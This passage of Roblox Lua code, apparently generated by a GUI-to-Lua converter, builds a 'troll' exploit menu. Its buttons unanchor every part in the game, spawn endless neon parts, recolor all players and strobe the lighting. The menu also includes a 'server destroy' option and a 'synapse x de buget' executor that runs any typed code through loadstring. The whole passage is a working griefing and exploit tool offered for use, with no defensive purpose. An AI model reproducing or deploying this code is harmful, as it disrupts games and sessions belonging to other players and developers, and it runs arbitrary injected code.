9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) end; task.spawn(C_17); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_19() local script = G2L["19"]; script.Parent.MouseButton1Down:Connect(function() for i,v in pairs(game.Workspace:GetDescendants()) do if v:IsA("BasePart") then v.Anchored = false end end for i,v in pairs(game.ReplicatedStorage:GetDescendants()) do if v:IsA("BasePart") then v.Anchored = false end end for i,v in pairs(game.ReplicatedFirst:GetDescendants()) do if v:IsA("BasePart") then v.Anchored = false end end end) end; task.spawn(C_19); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_1b() local script = G2L["1b"]; script.Parent.MouseButton1Click:Connect(function() while true do communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) wait() doom=Instance.new("Part") local imnotfat = math.random(1, 3) if imnotfat == 1 then doom.Shape = "Ball" else if imnotfat == 2 then doom.Shape = "Cylinder" else end end doom.Material = "Neon" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace yooka=math.random(-200, -50) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, yooka, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, 800, communism) doom.Parent = game.Workspace communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace end end) end; task.spawn(C_1b); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_20() local script = G2L["20"]; function click() for _,player in pairs(game.Players:GetPlayers()) do spawn(function() while wait(0.7) do player.Character:FindFirstChildOfClass("BodyColors").HeadColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").TorsoColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").LeftLegColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").RightLegColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").LeftArmColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").RightArmColor = BrickColor.random() end end) end end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_20); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_22() local script = G2L["22"]; script.Parent.MouseButton1Click:Connect(function() local Lighting = game:GetService("Lighting") local ColorCorrection = Instance.new("ColorCorrectionEffect", Lighting) function zigzag(X) return math.acos(math.cos(X*math.pi))/math.pi end Counter = 0 Lighting.TimeOfDay = "15:00" while wait(0.01) do ColorCorrection.TintColor = Color3.fromHSV(zigzag(Counter),1,1) Lighting.Ambient = Color3.fromHSV(zigzag(Counter),1,1) Counter += 0.01 end end) end; task.spawn(C_22); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_24() local script = G2L["24"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer -- GUI principal local gui = Instance.new("ScreenGui") gui.Name = "CustomExecutor" gui.ResetOnSpawn = false gui.Parent = player:WaitForChild("PlayerGui") -- Ventana principal (más pequeña y semi-transparente) local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, 400, 0, 240) mainFrame.Position = UDim2.new(0.3, 0, 0.3, 0) mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30) mainFrame.BackgroundTransparency = 0.3 mainFrame.BorderSizePixel = 0 mainFrame.Active = true mainFrame.Draggable = true mainFrame.Parent = gui -- Título local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 35) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Text = "synapse x de buget" title.TextColor3 = Color3.new(1, 1, 1) title.TextScaled = true title.Font = Enum.Font.SourceSansBold title.Parent = mainFrame -- Cuadro de texto (fondo negro, más pequeño) local input = Instance.new("TextBox") input.Size = UDim2.new(0.9, 0, 0.55, 0) input.Position = UDim2.new(0.05, 0, 0.18, 0) input.BackgroundColor3 = Color3.fromRGB(0, 0, 0) input.BackgroundTransparency = 0 input.BorderSizePixel = 0 input.TextColor3 = Color3.new(1, 1, 1) input.Text = "" input.Font = Enum.Font.Code input.TextWrapped = true input.TextXAlignment = Enum.TextXAlignment.Left input.TextYAlignment = Enum.TextYAlignment.Top input.TextSize = 16 input.ClearTextOnFocus = false input.MultiLine = true input.Parent = mainFrame -- Crear botón local function createButton(text, position) local btn = Instance.new("TextButton") btn.Size = UDim2.new(0, 90, 0, 30) btn.Position = position btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0) btn.BackgroundTransparency = 0 btn.BorderSizePixel = 0 btn.Text = text btn.TextColor3 = Color3.new(1, 1, 1) btn.TextScaled = true btn.Font = Enum.Font.SourceSansBold btn.Parent = mainFrame return btn end -- Botones local executeBtn = createButton("Execute", UDim2.new(0.05, 0, 0.8, 0)) local r6Btn = createButton("R6", UDim2.new(0.375, 0, 0.8, 0)) local closeBtn = createButton("Close", UDim2.new(0.70, 0, 0.8, 0)) -- Funciones executeBtn.MouseButton1Click:Connect(function() local code = input.Text if code and code ~= "" then pcall(function() loadstring(code)() end) end end) r6Btn.MouseButton1Click:Connect(function() local Players = game:GetService("Players") local AvatarEditor = game:GetService("AvatarEditorService") local TweenService = game:GetService("TweenService") local UIS = game:GetService("UserInputService") if _G.AvatarRigPromptUI then return end _G.AvatarRigPromptUI = true local player = Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") local RigUI = Instance.new("ScreenGui") RigUI.Name = "AvatarRigPromptUI" RigUI.ResetOnSpawn = false RigUI.Parent = playerGui local MainFrame = Instance.new("Frame") MainFrame.Size = UDim2.new(0, 200, 0, 100) MainFrame.Position = UDim2.new(0.5, -100, 0, 20) MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35) MainFrame.Parent = RigUI local UIStroke = Instance.new("UIStroke") UIStroke.Thickness = 2 UIStroke.Color = Color3.fromRGB(100, 200, 255) UIStroke.Parent = MainFrame local dragActive, dragStart, frameStart MainFrame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragActive = true dragStart = input.Position frameStart = MainFrame.Position end end) UIS.InputChanged:Connect(function(input) if dragActive and input.UserInputType == Enum.UserInputType.MouseMovement then local delta = input.Position - dragStart MainFrame.Position = UDim2.new( frameStart.X.Scale, frameStart.X.Offset + delta.X, frameStart.Y.Scale, frameStart.Y.Offset + delta.Y ) end end) UIS.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragActive = false end end) local function ExecuteRigChange() local char = player.Character if not char then return end local humanoid = char:FindFirstChildOfClass("Humanoid") if not humanoid then return end local desc = humanoid.HumanoidDescription:Clone() AvatarEditor:PromptSaveAvatar(desc, Enum.HumanoidRigType.R6) local result = AvatarEditor.PromptSaveAvatarCompleted:Wait() if result == Enum.AvatarPromptResult.Success then humanoid.Health = 0 humanoid:ChangeState(Enum.HumanoidStateType.Dead) player.CharacterAdded:Wait() task.wait(1) local newHumanoid = player.Character:FindFirstChildOfClass("Humanoid") if newHumanoid then newHumanoid:ApplyDescription(desc) newHumanoid:BuildRigFromDescription(desc, Enum.HumanoidRigType.R6) end end end local R6Button = Instance.new("TextButton") R6Button.Text = "R6 MODE" R6Button.Size = UDim2.new(0.9, 0, 0.6, 0) R6Button.Position = UDim2.new(0.05, 0, 0.2, 0) R6Button.Font = Enum.Font.GothamBold R6Button.TextColor3 = Color3.new(1,1,1) R6Button.BackgroundColor3 = Color3.fromRGB(50, 150, 200) R6Button.Parent = MainFrame R6Button.MouseButton1Click:Connect(function() TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(20, 100, 150)}):Play() ExecuteRigChange() task.wait(0.2) TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(50, 150, 200)}):Play() end) local CloseButton = Instance.new("TextButton") CloseButton.Text = "X" CloseButton.Size = UDim2.new(0, 24, 0, 24) CloseButton.Position = UDim2.new(1, -26, 0, 2) CloseButton.Font = Enum.Font.GothamBold CloseButton.TextColor3 = Color3.new(1, 1, 1) CloseButton.BackgroundColor3 = Color3.fromRGB(180, 60, 60) CloseButton.BorderSizePixel = 0 CloseButton.Parent = MainFrame CloseButton.MouseButton1Click:Connect(function() RigUI:Destroy() _G.AvatarRigPromptUI = nil end) end) closeBtn.MouseButton1Click:Connect(function() gui:Destroy() end) end) end; task.spawn(C_24); return G2L["1"], require; end, }) end) end; task.spawn(C_e); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript local function C_10() local script = G2L["10"]; script.Parent.MouseButton1Click:Connect(function() --[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER ]=] -- Instances: 75 | Scripts: 21 | Modules: 0 | Tags: 0 local G2L = {}; -- StarterGui.ssst G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); G2L["1"]["Name"] = [[ssst]]; G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; -- StarterGui.ssst.Frame G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["BorderSizePixel"] = 3; G2L["2"]["BackgroundColor3"] = Color3.fromRGB(95, 95, 95); G2L["2"]["BorderMode"] = Enum.BorderMode.Inset; G2L["2"]["Size"] = UDim2.new(0, 457, 0, 253); G2L["2"]["Position"] = UDim2.new(0.43288, 0, 0.22876, 0); G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["BackgroundTransparency"] = 0.4; -- StarterGui.ssst.Frame.LocalScript G2L["3"] = Instance.new("LocalScript", G2L["2"]); -- StarterGui.ssst.Frame.ImageLabel G2L["4"] = Instance.new("ImageLabel", G2L["2"]); G2L["4"]["BorderSizePixel"] = 0; G2L["4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["4"]["Image"] = [[rbxassetid://124868710717730]]; G2L["4"]["Size"] = UDim2.new(0, 187, 0, 123); G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4"]["BackgroundTransparency"] = 1; G2L["4"]["Position"] = UDim2.new(0.06393, 0, -0.48753, 0); -- StarterGui.ssst.Frame.TextLabel G2L["5"] = Instance.new("TextLabel", G2L["2"]); G2L["5"]["BorderSizePixel"] = 0; G2L["5"]["TextSize"] = 14; G2L["5"]["BackgroundColor3"] = Color3.fromRGB(32, 32, 32); G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5"]["Size"] = UDim2.new(0, 241, 0, 25); G2L["5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["5"]["Text"] = [[Gui made by:toothpickleglol, lucas_cubing10]]; G2L["5"]["Position"] = UDim2.new(0.25805, 0, -0.00299, 0); -- StarterGui.ssst.Frame.TextLabel.UICorner G2L["6"] = Instance.new("UICorner", G2L["5"]); G2L["6"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.ssst.Frame.TextButton G2L["7"] = Instance.new("TextButton", G2L["2"]); G2L["7"]["BorderSizePixel"] = 0; G2L["7"]["TextSize"] = 14; G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["7"]["BackgroundTransparency"] = 0.2; G2L["7"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["7"]["Text"] = [[Troll gui 🤣🤣🤣]]; G2L["7"]["Position"] = UDim2.new(0.70602, 0, 0.81058, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["8"] = Instance.new("LocalScript", G2L["7"]); -- StarterGui.ssst.Frame.TextButton G2L["9"] = Instance.new("TextButton", G2L["2"]); G2L["9"]["BorderSizePixel"] = 0; G2L["9"]["TextSize"] = 14; G2L["9"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["9"]["BackgroundTransparency"] = 0.2; G2L["9"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["9"]["Text"] = [[1x1x13 executor]]; G2L["9"]["Position"] = UDim2.new(0.04582, 0, 0.80975, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["a"] = Instance.new("LocalScript", G2L["9"]); -- StarterGui.ssst.Frame.TextButton G2L["b"] = Instance.new("TextButton", G2L["2"]); G2L["b"]["BorderSizePixel"] = 0; G2L["b"]["TextSize"] = 14; G2L["b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b"]["BackgroundTransparency"] = 0.2; G2L["b"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["b"]["Text"] = [[hint]]; G2L["b"]["Position"] = UDim2.new(0.3729, 0, 0.81859, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["c"] = Instance.new("LocalScript", G2L["b"]); -- StarterGui.ssst.Frame.TextButton G2L["d"] = Instance.new("TextButton", G2L["2"]); G2L["d"]["BorderSizePixel"] = 0; G2L["d"]["TextSize"] = 14; G2L["d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d"]["BackgroundTransparency"] = 0.2; G2L["d"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["d"]["Text"] = [[skybox]]; G2L["d"]["Position"] = UDim2.new(0.0509, 0, 0.61243, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["e"] = Instance.new("LocalScript", G2L["d"]); -- StarterGui.ssst.Frame.TextButton G2L["f"] = Instance.new("TextButton", G2L["2"]); G2L["f"]["BorderSizePixel"] = 0; G2L["f"]["TextSize"] = 14; G2L["f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f"]["BackgroundTransparency"] = 0.2; G2L["f"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["f"]["Text"] = [[decal spam]]; G2L["f"]["Position"] = UDim2.new(0.37257, 0, 0.61638, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["10"] = Instance.new("LocalScript", G2L["f"]); -- StarterGui.ssst.Frame.TextButton G2L["11"] = Instance.new("TextButton", G2L["2"]); G2L["11"]["BorderSizePixel"] = 0; G2L["11"]["TextSize"] = 14; G2L["11"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11"]["BackgroundTransparency"] = 0.2; G2L["11"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["11"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["11"]["Text"] = [[particle]]; G2L["11"]["Position"] = UDim2.new(0.70903, 0, 0.61362, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["12"] = Instance.new("LocalScript", G2L["11"]); -- StarterGui.ssst.Frame.TextButton G2L["13"] = Instance.new("TextButton", G2L["2"]); G2L["13"]["BorderSizePixel"] = 0; G2L["13"]["TextSize"] = 14; G2L["13"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["13"]["BackgroundTransparency"] = 0.2; G2L["13"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["13"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["13"]["Text"] = [[skeleton sky]]; G2L["13"]["Position"] = UDim2.new(0.04983, 0, 0.43306, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["14"] = Instance.new("LocalScript", G2L["13"]); -- StarterGui.ssst.Frame.TextButton G2L["15"] = Instance.new("TextButton", G2L["2"]); G2L["15"]["BorderSizePixel"] = 0; G2L["15"]["TextSize"] = 14; G2L["15"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["15"]["BackgroundTransparency"] = 0.2; G2L["15"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["15"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["15"]["Text"] = [[flood]]; G2L["15"]["Position"] = UDim2.new(0.37303, 0, 0.43465, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["16"] = Instance.new("LocalScript", G2L["15"]); -- StarterGui.ssst.Frame.TextButton G2L["17"] = Instance.new("TextButton", G2L["2"]); G2L["17"]["BorderSizePixel"] = 0; G2L["17"]["TextSize"] = 14; G2L["17"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["17"]["BackgroundTransparency"] = 0.2; G2L["17"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["17"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["17"]["Text"] = [[666]]; G2L["17"]["Position"] = UDim2.new(0.70898, 0, 0.43385, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["18"] = Instance.new("LocalScript", G2L["17"]); -- StarterGui.ssst.Frame.TextButton G2L["19"] = Instance.new("TextButton", G2L["2"]); G2L["19"]["BorderSizePixel"] = 0; G2L["19"]["TextSize"] = 14; G2L["19"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["19"]["BackgroundTransparency"] = 0.2; G2L["19"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["19"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["19"]["Text"] = [[theme music]]; G2L["19"]["Position"] = UDim2.new(0.04978, 0, 0.24965, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["1a"] = Instance.new("LocalScript", G2L["19"]); -- StarterGui.ssst.Frame.TextButton G2L["1b"] = Instance.new("TextButton", G2L["2"]); G2L["1b"]["BorderSizePixel"] = 0; G2L["1b"]["TextSize"] = 14; G2L["1b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1b"]["BackgroundTransparency"] = 0.2; G2L["1b"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["1b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1b"]["Text"] = [[romania spam]]; G2L["1b"]["Position"] = UDim2.new(0.37298, 0, 0.25559, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["1c"] = Instance.new("LocalScript", G2L["1b"]); -- StarterGui.ssst.Frame.TextButton G2L["1d"] = Instance.new("TextButton", G2L["2"]); G2L["1d"]["BorderSizePixel"] = 0; G2L["1d"]["TextSize"] = 14; G2L["1d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1d"]["BackgroundTransparency"] = 0.2; G2L["1d"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["1d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d"]["Text"] = [[T7B3RS93 sound]]; G2L["1d"]["Position"] = UDim2.new(0.70507, 0, 0.25348, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["1e"] = Instance.new("LocalScript", G2L["1d"]); -- StarterGui.ssst.Frame.TextButton G2L["1f"] = Instance.new("TextButton", G2L["2"]); G2L["1f"]["TextWrapped"] = true; G2L["1f"]["BorderSizePixel"] = 0; G2L["1f"]["TextSize"] = 14; G2L["1f"]["TextScaled"] = true; G2L["1f"]["TextColor3"] = Color3.fromRGB(255, 0, 0); G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(85, 85, 85); G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f"]["BackgroundTransparency"] = 1; G2L["1f"]["Size"] = UDim2.new(0, 37, 0, 34); G2L["1f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f"]["Text"] = [[>]]; G2L["1f"]["Position"] = UDim2.new(0.93864, 0, 0.87224, 0); -- StarterGui.ssst.Frame.TextButton.LocalScript G2L["20"] = Instance.new("LocalScript", G2L["1f"]); -- StarterGui.ssst.Frame.ImageLabel G2L["21"] = Instance.new("ImageLabel", G2L["2"]); G2L["21"]["BorderSizePixel"] = 0; G2L["21"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["21"]["Image"] = [[rbxassetid://98874831022758]]; G2L["21"]["Size"] = UDim2.new(0, 187, 0, 115); G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["21"]["BackgroundTransparency"] = 1; G2L["21"]["Position"] = UDim2.new(0.57706, 0, -0.45759, 0); -- StarterGui.ssst.Frame2 G2L["22"] = Instance.new("Frame", G2L["1"]); G2L["22"]["Visible"] = false; G2L["22"]["BorderSizePixel"] = 3; G2L["22"]["BackgroundColor3"] = Color3.fromRGB(95, 95, 95); G2L["22"]["BorderMode"] = Enum.BorderMode.Inset; G2L["22"]["Size"] = UDim2.new(0, 457, 0, 253); G2L["22"]["Position"] = UDim2.new(0.433, 0, 0.229, 0); G2L["22"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["22"]["Name"] = [[Frame2]]; G2L["22"]["BackgroundTransparency"] = 0.4; -- StarterGui.ssst.Frame2.LocalScript G2L["23"] = Instance.new("LocalScript", G2L["22"]); -- StarterGui.ssst.Frame2.TextButton G2L["24"] = Instance.new("TextButton", G2L["22"]); G2L["24"]["BorderSizePixel"] = 0; G2L["24"]["TextSize"] = 14; G2L["24"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["24"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["24"]["BackgroundTransparency"] = 0.2; G2L["24"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["24"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["24"]["Text"] = [[SetWalkspeed]]; G2L["24"]["Position"] = UDim2.new(0.0372, 0, 0.07115, 0); -- StarterGui.ssst.Frame2.TextButton.LocalScript G2L["25"] = Instance.new("LocalScript", G2L["24"]); -- StarterGui.ssst.Frame2.TextButton G2L["26"] = Instance.new("TextButton", G2L["22"]); G2L["26"]["TextWrapped"] = true; G2L["26"]["BorderSizePixel"] = 0; G2L["26"]["TextSize"] = 14; G2L["26"]["TextScaled"] = true; G2L["26"]["TextColor3"] = Color3.fromRGB(255, 0, 0); G2L["26"]["BackgroundColor3"] = Color3.fromRGB(85, 85, 85); G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["26"]["BackgroundTransparency"] = 1; G2L["26"]["Size"] = UDim2.new(0, 37, 0, 34); G2L["26"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["26"]["Text"] = [[<]]; G2L["26"]["Position"] = UDim2.new(-0.01282, 0, 0.90236, 0); -- StarterGui.ssst.Frame2.TextButton.LocalScript G2L["27"] = Instance.new("LocalScript", G2L["26"]); -- StarterGui.ssst.Frame2.TextButton G2L["28"] = Instance.new("TextButton", G2L["22"]); G2L["28"]["BorderSizePixel"] = 0; G2L["28"]["TextSize"] = 14; G2L["28"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["28"]["BackgroundTransparency"] = 0.2; G2L["28"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["28"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["28"]["Text"] = [[server destroy ( not fe )]]; G2L["28"]["Position"] = UDim2.new(0.35402, 0, 0.07921, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["29"] = Instance.new("Script", G2L["28"]); -- StarterGui.ssst.Frame2.TextButton.LocalScript G2L["2a"] = Instance.new("LocalScript", G2L["28"]); -- StarterGui.ssst.Frame2.TextButton.RemoteEvent G2L["2b"] = Instance.new("RemoteEvent", G2L["28"]); -- StarterGui.ssst.Frame2.TextButton G2L["2c"] = Instance.new("TextButton", G2L["22"]); G2L["2c"]["BorderSizePixel"] = 0; G2L["2c"]["TextSize"] = 14; G2L["2c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2c"]["BackgroundTransparency"] = 0.2; G2L["2c"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["2c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2c"]["Text"] = [[disco]]; G2L["2c"]["Position"] = UDim2.new(0.6776, 0, 0.08128, 0); -- StarterGui.ssst.Frame2.TextButton.LocalScript G2L["2d"] = Instance.new("LocalScript", G2L["2c"]); -- StarterGui.ssst.Frame2.ImageLabel G2L["2e"] = Instance.new("ImageLabel", G2L["22"]); G2L["2e"]["BorderSizePixel"] = 0; G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["2e"]["Image"] = [[rbxassetid://98874831022758]]; G2L["2e"]["Size"] = UDim2.new(0, 187, 0, 115); 